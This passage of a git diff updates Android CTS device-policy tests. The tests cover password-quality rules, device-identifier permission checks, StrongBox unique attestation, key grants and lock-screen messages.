- dpm.setPasswordMinimumNumeric(mAdminComponent, 1);
- assertEquals(1, dpm.getPasswordMinimumNumeric(mAdminComponent));
- caseDescription = "minimum Numeric=1";
- assertPasswordFails("abcd", caseDescription);
- assertPasswordSucceeds("1abc", caseDescription);
- assertPasswordSucceeds("123a", caseDescription);
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumNumeric(mAdminComponent, 3);
- assertEquals(3, dpm.getPasswordMinimumNumeric(mAdminComponent));
- caseDescription = "minimum Numeric=3";
- assertPasswordFails("abcd", caseDescription);
- assertPasswordFails("1abc", caseDescription);
- assertPasswordSucceeds("123a", caseDescription);
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
- }
-
- public void testPasswordQuality_complexSymbols() {
- dpm.setPasswordQuality(mAdminComponent, PASSWORD_QUALITY_COMPLEX);
- assertEquals(PASSWORD_QUALITY_COMPLEX, dpm.getPasswordQuality(mAdminComponent));
- resetComplexPasswordRestrictions();
-
- String caseDescription = "minimum Symbols=0";
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordSucceeds("_bc1", caseDescription);
- assertPasswordSucceeds("@#!1", caseDescription);
- assertPasswordSucceeds("_@#!", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumSymbols(mAdminComponent, 1);
- assertEquals(1, dpm.getPasswordMinimumSymbols(mAdminComponent));
- caseDescription = "minimum Symbols=1";
- assertPasswordFails("abcd", caseDescription);
- assertPasswordSucceeds("_bc1", caseDescription);
- assertPasswordSucceeds("@#!1", caseDescription);
- assertPasswordSucceeds("_@#!", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumSymbols(mAdminComponent, 3);
- assertEquals(3, dpm.getPasswordMinimumSymbols(mAdminComponent));
- caseDescription = "minimum Symbols=3";
- assertPasswordFails("abcd", caseDescription);
- assertPasswordFails("_bc1", caseDescription);
- assertPasswordSucceeds("@#!1", caseDescription);
- assertPasswordSucceeds("_@#!", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
- }
-
- public void testPasswordQuality_complexNonLetter() {
- dpm.setPasswordQuality(mAdminComponent, PASSWORD_QUALITY_COMPLEX);
- assertEquals(PASSWORD_QUALITY_COMPLEX, dpm.getPasswordQuality(mAdminComponent));
- resetComplexPasswordRestrictions();
-
- String caseDescription = "minimum NonLetter=0";
- assertPasswordSucceeds("Abcd", caseDescription);
- assertPasswordSucceeds("_bcd", caseDescription);
- assertPasswordSucceeds("3bcd", caseDescription);
- assertPasswordSucceeds("_@3c", caseDescription);
- assertPasswordSucceeds("_25!", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumNonLetter(mAdminComponent, 1);
- assertEquals(1, dpm.getPasswordMinimumNonLetter(mAdminComponent));
- caseDescription = "minimum NonLetter=1";
- assertPasswordFails("Abcd", caseDescription);
- assertPasswordSucceeds("_bcd", caseDescription);
- assertPasswordSucceeds("3bcd", caseDescription);
- assertPasswordSucceeds("_@3c", caseDescription);
- assertPasswordSucceeds("_25!", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumNonLetter(mAdminComponent, 3);
- assertEquals(3, dpm.getPasswordMinimumNonLetter(mAdminComponent));
- caseDescription = "minimum NonLetter=3";
- assertPasswordFails("Abcd", caseDescription);
- assertPasswordFails("_bcd", caseDescription);
- assertPasswordFails("3bcd", caseDescription);
- assertPasswordSucceeds("_@3c", caseDescription);
- assertPasswordSucceeds("_25!", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
- }
-
- private void assertPasswordFails(String password, String restriction) {
- try {
- boolean passwordResetResult = dpm.resetPassword(password, /* flags= */0);
- assertFalse("Password '" + password + "' should have failed on " + restriction,
- passwordResetResult);
- } catch (IllegalArgumentException e) {
- // yesss, we have failed!
- }
- }
-
- private void assertPasswordSucceeds(String password, String restriction) {
- boolean passwordResetResult = dpm.resetPassword(password, /* flags= */0);
- assertTrue("Password '" + password + "' failed on " + restriction, passwordResetResult);
- assertPasswordSufficiency(true);
- }
-
- private void assertPasswordSufficiency(boolean expectPasswordSufficient) {
- int retries = 15;
- // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
- while (retries >= 0 && dpm.isActivePasswordSufficient() != expectPasswordSufficient) {
- retries--;
- try {
- Thread.sleep(200);
- } catch (InterruptedException e) {
- break;
- }
- }
- assertEquals(expectPasswordSufficient, dpm.isActivePasswordSufficient());
-
- }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 8f9b9b5..212d20f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -126,17 +126,6 @@
protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
waitUntilUserUnlocked();
- int retries = 15;
- // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
- while (retries >= 0
- && mDevicePolicyManager.isActivePasswordSufficient() != expectPasswordSufficient) {
- retries--;
- try {
- Thread.sleep(200);
- } catch (InterruptedException e) {
- break;
- }
- }
assertEquals(expectPasswordSufficient, mDevicePolicyManager.isActivePasswordSufficient());
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
index 756058c..d0af5f4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
@@ -19,6 +19,7 @@
import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
import android.app.admin.DevicePolicyManager;
+import android.keystore.cts.KeyGenerationUtils;
import java.util.Arrays;
import java.util.List;
@@ -32,6 +33,9 @@
private static final List<String> CERT_INSTALL_SCOPES = Arrays.asList(DELEGATION_CERT_INSTALL);
+ // MUST match the alias in PreSelectedKeyAccessTest
+ private static final String PRE_SELECTED_ALIAS = "pre-selected-rsa";
+
private DevicePolicyManager mDpm;
@Override
@@ -57,4 +61,23 @@
assertFalse(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
DELEGATION_CERT_INSTALL).contains(CERT_INSTALLER_PACKAGE));
}
+
+ public void testManualGenerateKeyAndGrantAccess() {
+ KeyGenerationUtils.generateRsaKey(mDpm, ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS);
+ assertTrue(mDpm.grantKeyPairToApp(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS,
+ CERT_INSTALLER_PACKAGE));
+ }
+
+ public void testManualRemoveKeyGrant() {
+ assertTrue(mDpm.revokeKeyPairFromApp(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS,
+ CERT_INSTALLER_PACKAGE));
+ }
+
+ public void testManualClearGeneratedKey() {
+ assertTrue(mDpm.removeKeyPair(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS));
+ }
+
+ public void testManualWipeProfile() {
+ mDpm.wipeData(0);
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DeviceIdAttestationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DeviceIdAttestationTest.java
index bce0a08..168c463 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DeviceIdAttestationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DeviceIdAttestationTest.java
@@ -35,9 +35,13 @@
// Test that the same key generation request succeeds once the profile owner was granted
// access to device identifiers.
public void testSucceedsWithProfileOwnerIdsGrant() {
- if (mDevicePolicyManager.isDeviceIdAttestationSupported()) {
- KeyGenerationUtils.generateKeyWithDeviceIdAttestationExpectingSuccess(
- mDevicePolicyManager, getWho());
+ try {
+ if (mDevicePolicyManager.isDeviceIdAttestationSupported()) {
+ KeyGenerationUtils.generateKeyWithDeviceIdAttestationExpectingSuccess(
+ mDevicePolicyManager, getWho());
+ }
+ } finally {
+ mDevicePolicyManager.wipeData(0);
}
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DeviceIdentifiersTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DeviceIdentifiersTest.java
new file mode 100644
index 0000000..ebaf592
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DeviceIdentifiersTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.telephony.TelephonyManager;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+/**
+ * Verifies device identifier access for the profile owner on an organization-owned device.
+ * TODO: Use those tests for DeviceOwner instead of
+ * DeviceOwnerTest#testDeviceOwnerCanGetDeviceIdentifiers
+ */
+public class DeviceIdentifiersTest extends BaseDeviceAdminTest {
+
+ private static final String DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE =
+ "An unexpected value was received by the profile owner with the READ_PHONE_STATE "
+ + "permission when invoking %s";
+ private static final String NO_SECURITY_EXCEPTION_ERROR_MESSAGE =
+ "A profile owner that does not have the READ_PHONE_STATE permission must receive a "
+ + "SecurityException when invoking %s";
+
+ public void testProfileOwnerCanGetDeviceIdentifiersWithPermission() throws Exception {
+ // The profile owner with the READ_PHONE_STATE permission should have access to all device
+ // identifiers. However since the TelephonyManager methods can return null this method
+ // verifies that the profile owner with the READ_PHONE_STATE permission receives the same
+ // value that the shell identity receives with the READ_PRIVILEGED_PHONE_STATE permission.
+ TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
+ Context.TELEPHONY_SERVICE);
+ try {
+ assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getDeviceId"),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
+ (tm) -> tm.getDeviceId()), telephonyManager.getDeviceId());
+ assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getImei"),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
+ (tm) -> tm.getImei()), telephonyManager.getImei());
+ assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getMeid"),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
+ (tm) -> tm.getMeid()), telephonyManager.getMeid());
+ assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getSubscriberId"),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
+ (tm) -> tm.getSubscriberId()), telephonyManager.getSubscriberId());
+ assertEquals(
+ String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getSimSerialNumber"),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
+ (tm) -> tm.getSimSerialNumber()),
+ telephonyManager.getSimSerialNumber());
+ assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getNai"),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
+ (tm) -> tm.getNai()), telephonyManager.getNai());
+ assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "Build#getSerial"),
+ ShellIdentityUtils.invokeStaticMethodWithShellPermissions(Build::getSerial),
+ Build.getSerial());
+ } catch (SecurityException e) {
+ fail("The profile owner with the READ_PHONE_STATE permission must be able to access "
+ + "the device IDs: " + e);
+ }
+ }
+
+ public void testProfileOwnerCannotGetDeviceIdentifiersWithoutPermission() throws Exception {
+ // The profile owner without the READ_PHONE_STATE permission should still receive a
+ // SecurityException when querying for device identifiers.
+ TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
+ Context.TELEPHONY_SERVICE);
+ // Allow the APIs to also return null if the telephony feature is not supported.
+ boolean hasTelephonyFeature =
+ mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ if (hasTelephonyFeature) {
+ assertThrows(SecurityException.class, telephonyManager::getDeviceId);
+ assertThrows(SecurityException.class, telephonyManager::getImei);
+ assertThrows(SecurityException.class, telephonyManager::getMeid);
+ assertThrows(SecurityException.class, telephonyManager::getSubscriberId);
+ assertThrows(SecurityException.class, telephonyManager::getSimSerialNumber);
+ assertThrows(SecurityException.class, telephonyManager::getNai);
+ assertThrows(SecurityException.class, Build::getSerial);
+ } else {
+ assertNull(telephonyManager.getDeviceId());
+ assertNull(telephonyManager.getImei());
+ assertNull(telephonyManager.getMeid());
+ assertNull(telephonyManager.getSubscriberId());
+ assertNull(telephonyManager.getSimSerialNumber());
+ assertNull(telephonyManager.getNai());
+ assertNull(Build.getSerial());
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
index d6856a9..c7a0326 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
@@ -50,7 +50,7 @@
public void testPasswordMethodsLogged() {
mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
- DevicePolicyManager.PASSWORD_QUALITY_SOMETHING);
+ DevicePolicyManager.PASSWORD_QUALITY_COMPLEX);
mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 13);
mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 14);
mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, 15);
@@ -151,6 +151,13 @@
mDevicePolicyManager.setAutoTimeRequired(ADMIN_RECEIVER_COMPONENT, initialValue);
}
+ public void testSetAutoTime() {
+ final boolean initialValue = mDevicePolicyManager.getAutoTime(ADMIN_RECEIVER_COMPONENT);
+ mDevicePolicyManager.setAutoTime(ADMIN_RECEIVER_COMPONENT, true);
+ mDevicePolicyManager.setAutoTime(ADMIN_RECEIVER_COMPONENT, false);
+ mDevicePolicyManager.setAutoTime(ADMIN_RECEIVER_COMPONENT, initialValue);
+ }
+
public void testEnableSystemAppLogged() {
final String systemPackageToEnable =
InstrumentationRegistry.getArguments().getString(PARAM_APP_TO_ENABLE);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/FbeHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/FbeHelper.java
deleted file mode 100644
index 4ba4be5..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/FbeHelper.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.support.test.uiautomator.UiDevice;
-import android.view.KeyEvent;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper class to lock and unlock file-based encryption (FBE) in CTS tests.
- */
-public class FbeHelper extends BaseDeviceAdminTest {
-
- private static final String NUMERIC_PASSWORD = "12345";
-
- private UiDevice mUiDevice;
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
-
- assertTrue("Only numerical password is allowed", NUMERIC_PASSWORD.matches("\\d+"));
-
- mUiDevice = UiDevice.getInstance(getInstrumentation());
- assertNotNull(mUiDevice);
- }
-
- /**
- * Set password to activate FBE.
- * <p>
- * <b>Note:</b> FBE is only locked after device reboot.
- */
- public void testSetPassword() {
- assertTrue("Failed to set password " + NUMERIC_PASSWORD,
- mDevicePolicyManager.resetPassword(NUMERIC_PASSWORD, 0));
- }
-
- /**
- * Unlock FBE by entering the password in the Keyguard UI. This method blocks until an
- * {@code ACTION_USER_UNLOCKED} intent is received within 1 minute. Otherwise the method fails.
- */
- public void testUnlockFbe() throws Exception {
- // Register receiver for FBE unlocking broadcast intent
- final CountDownLatch latch = new CountDownLatch(1);
- final BroadcastReceiver receiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- latch.countDown();
- }
- };
- mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_USER_UNLOCKED));
-
- // Unlock FBE
- enterPassword(NUMERIC_PASSWORD);
-
- // Wait for FBE to fully unlock
- assertTrue("Failed to dismiss keyguard", latch.await(1, TimeUnit.MINUTES));
- }
-
- private void enterPassword(String password) throws Exception {
- mUiDevice.wakeUp();
- mUiDevice.waitForIdle();
- mUiDevice.pressMenu();
- mUiDevice.waitForIdle();
- pressNumericKeys(password);
- mUiDevice.waitForIdle();
- mUiDevice.pressEnter();
- mUiDevice.waitForIdle();
- }
-
- private void pressNumericKeys(String numericKeys) {
- for (char key : numericKeys.toCharArray()) {
- if (key >= '0' && key <= '9') {
- mUiDevice.pressKeyCode(KeyEvent.KEYCODE_0 + key - '0');
- } else {
- throw new IllegalArgumentException(key + " is not a numeric key.");
- }
- }
- }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index 302523b..f42db09 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -17,6 +17,7 @@
import static android.app.admin.DevicePolicyManager.ID_TYPE_BASE_INFO;
import static android.app.admin.DevicePolicyManager.ID_TYPE_IMEI;
+import static android.app.admin.DevicePolicyManager.ID_TYPE_INDIVIDUAL_ATTESTATION;
import static android.app.admin.DevicePolicyManager.ID_TYPE_MEID;
import static android.app.admin.DevicePolicyManager.ID_TYPE_SERIAL;
import static android.keystore.cts.CertificateUtils.createCertificate;
@@ -657,7 +658,100 @@
}
}
- public void testCanSetKeyPairCert() throws Exception {
+ public void testUniqueDeviceAttestationUsingDifferentAttestationCert() throws Exception {
+ // This test is only applicable in modes where Device ID attestation can be performed
+ // _and_ the device has StrongBox, which is provisioned with individual attestation
+ // certificates.
+ // The functionality tested should equally work for when the Profile Owner can perform
+ // Device ID attestation, but since the underlying StrongBox implementation cannot
+ // differentiate between PO and DO modes, for simplicity, it is only tested in DO mode.
+ if (!isDeviceOwner() || !hasStrongBox() || !isUniqueDeviceAttestationSupported()) {
+ return;
+ }
+ final String no_id_alias = "com.android.test.key_attested";
+ final String dev_unique_alias = "com.android.test.individual_dev_attested";
+
+ byte[] attestationChallenge = new byte[] {0x01, 0x02, 0x03};
+ try {
+ KeyGenParameterSpec specKeyAttOnly = new KeyGenParameterSpec.Builder(
+ no_id_alias,
+ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+ .setDigests(KeyProperties.DIGEST_SHA256)
+ .setAttestationChallenge(attestationChallenge)
+ .setIsStrongBoxBacked(true)
+ .build();
+
+ AttestedKeyPair attestedKeyPair = mDevicePolicyManager.generateKeyPair(
+ getWho(), KeyProperties.KEY_ALGORITHM_EC, specKeyAttOnly,
+ 0 /* device id attestation flags */);
+ assertWithMessage(
+ String.format("Failed generating a key with attestation in StrongBox."))
+ .that(attestedKeyPair)
+ .isNotNull();
+
+ KeyGenParameterSpec specIndividualAtt = new KeyGenParameterSpec.Builder(
+ dev_unique_alias,
+ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+ .setDigests(KeyProperties.DIGEST_SHA256)
+ .setAttestationChallenge(attestationChallenge)
+ .setIsStrongBoxBacked(true)
+ .build();
+
+ AttestedKeyPair individuallyAttestedPair = mDevicePolicyManager.generateKeyPair(
+ getWho(), KeyProperties.KEY_ALGORITHM_EC, specIndividualAtt,
+ ID_TYPE_INDIVIDUAL_ATTESTATION /* device id attestation flags */);
+ assertWithMessage(
+ String.format("Failed generating a key for unique attestation in StrongBox."))
+ .that(individuallyAttestedPair)
+ .isNotNull();
+
+ X509Certificate keyAttestationIntermediate = (X509Certificate)
+ attestedKeyPair.getAttestationRecord().get(1);
+ X509Certificate devUniqueAttestationIntermediate = (X509Certificate)
+ individuallyAttestedPair.getAttestationRecord().get(1);
+ assertWithMessage("Device unique attestation intermediate certificate"
+ + " should be different to the key attestation certificate.")
+ .that(devUniqueAttestationIntermediate.getEncoded())
+ .isNotEqualTo(keyAttestationIntermediate.getEncoded());
+ } finally {
+ mDevicePolicyManager.removeKeyPair(getWho(), no_id_alias);
+ mDevicePolicyManager.removeKeyPair(getWho(), dev_unique_alias);
+ }
+ }
+
+ public void testUniqueDeviceAttestationFailsWhenUnsupported() {
+ if (!isDeviceOwner() || !hasStrongBox()) {
+ return;
+ }
+
+ if (isUniqueDeviceAttestationSupported()) {
+ // testUniqueDeviceAttestationUsingDifferentAttestationCert is the positive test case.
+ return;
+ }
+
+ byte[] attestationChallenge = new byte[] {0x01, 0x02, 0x03};
+ final String someAlias = "com.android.test.should_not_exist";
+ try {
+ KeyGenParameterSpec specIndividualAtt = new KeyGenParameterSpec.Builder(
+ someAlias,
+ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+ .setDigests(KeyProperties.DIGEST_SHA256)
+ .setAttestationChallenge(attestationChallenge)
+ .setIsStrongBoxBacked(true)
+ .build();
+
+ AttestedKeyPair individuallyAttestedPair = mDevicePolicyManager.generateKeyPair(
+ getWho(), KeyProperties.KEY_ALGORITHM_EC, specIndividualAtt,
+ ID_TYPE_INDIVIDUAL_ATTESTATION /* device id attestation flags */);
+ fail("When unique attestation is not supported, key generation should fail.");
+ }catch (UnsupportedOperationException expected) {
+ } finally {
+ mDevicePolicyManager.removeKeyPair(getWho(), someAlias);
+ }
+ }
+
+
+ public void testCanSetKeyPairCert() throws Exception {
final String alias = "com.android.test.set-ec-1";
try {
KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(
@@ -798,4 +892,8 @@
return mActivity.getPackageManager()
.hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE);
}
+
+ boolean isUniqueDeviceAttestationSupported() {
+ return mDevicePolicyManager.isUniqueDeviceAttestationSupported();
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockScreenInfoTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockScreenInfoTest.java
new file mode 100644
index 0000000..f48a65c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockScreenInfoTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.content.ComponentName;
+
+import java.lang.Character;
+
+public class LockScreenInfoTest extends BaseDeviceAdminTest {
+
+ @Override
+ public void tearDown() throws Exception {
+ mDevicePolicyManager.setDeviceOwnerLockScreenInfo(getWho(), null);
+ super.tearDown();
+ }
+
+ public void testSetAndGetLockInfo() {
+ setLockInfo("testSetAndGet");
+ }
+
+ public void testClearLockInfo() {
+ setLockInfo("testClear");
+ setLockInfo(null);
+
+ }
+
+ public void testEmptyStringClearsLockInfo() {
+ final String message = "";
+ mDevicePolicyManager.setDeviceOwnerLockScreenInfo(getWho(), message);
+ assertNull(mDevicePolicyManager.getDeviceOwnerLockScreenInfo());
+ }
+
+ public void testWhitespaceOnly() {
+ setLockInfo("\t");
+ }
+
+ public void testUnicode() {
+ final String smiley = new String(Character.toChars(0x1F601));
+ final String phone = new String(Character.toChars(0x1F4F1));
+ setLockInfo(smiley + phone + "\t" + phone + smiley);
+ }
+
+ public void testNullInString() {
+ setLockInfo("does \0 this \1 work?");
+ }
+
+ public void testReasonablyLongString() {
+ final int messageLength = 128;
+ setLockInfo(new String(new char[messageLength]).replace('\0', 'Z'));
+ }
+
+ public void testSetLockInfoWithNullAdminFails() {
+ final String message = "nulladmin";
+
+ // Set message
+ try {
+ mDevicePolicyManager.setDeviceOwnerLockScreenInfo(null, message);
+ fail("Exception should have been thrown for null admin ComponentName");
+ } catch (NullPointerException expected) {
+ }
+ }
+
+ /**
+ * Sets device owner lock screen info on behalf of the current device owner admin.
+ *
+ * @throws AssertionError if the setting did not take effect.
+ */
+ private void setLockInfo(String message) {
+ mDevicePolicyManager.setDeviceOwnerLockScreenInfo(getWho(), message);
+ assertEquals(message, mDevicePolicyManager.getDeviceOwnerLockScreenInfo());
+ }
+
+ protected ComponentName getWho() {
+ return ADMIN_RECEIVER_COMPONENT;
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
new file mode 100644
index 0000000..2b36cde
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.UserManager;
+import android.test.InstrumentationTestCase;
+
+public class OrgOwnedProfileOwnerParentTest extends InstrumentationTestCase {
+
+ protected Context mContext;
+ private DevicePolicyManager mParentDevicePolicyManager;
+ private DevicePolicyManager mDevicePolicyManager;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContext = getInstrumentation().getContext();
+
+ mDevicePolicyManager = (DevicePolicyManager)
+ mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ mParentDevicePolicyManager =
+ mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+
+ assertNotNull(mDevicePolicyManager);
+ assertNotNull(mParentDevicePolicyManager);
+
+ assertTrue(mDevicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT));
+ assertTrue(
+ mDevicePolicyManager.isProfileOwnerApp(ADMIN_RECEIVER_COMPONENT.getPackageName()));
+ assertTrue(mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT));
+ }
+
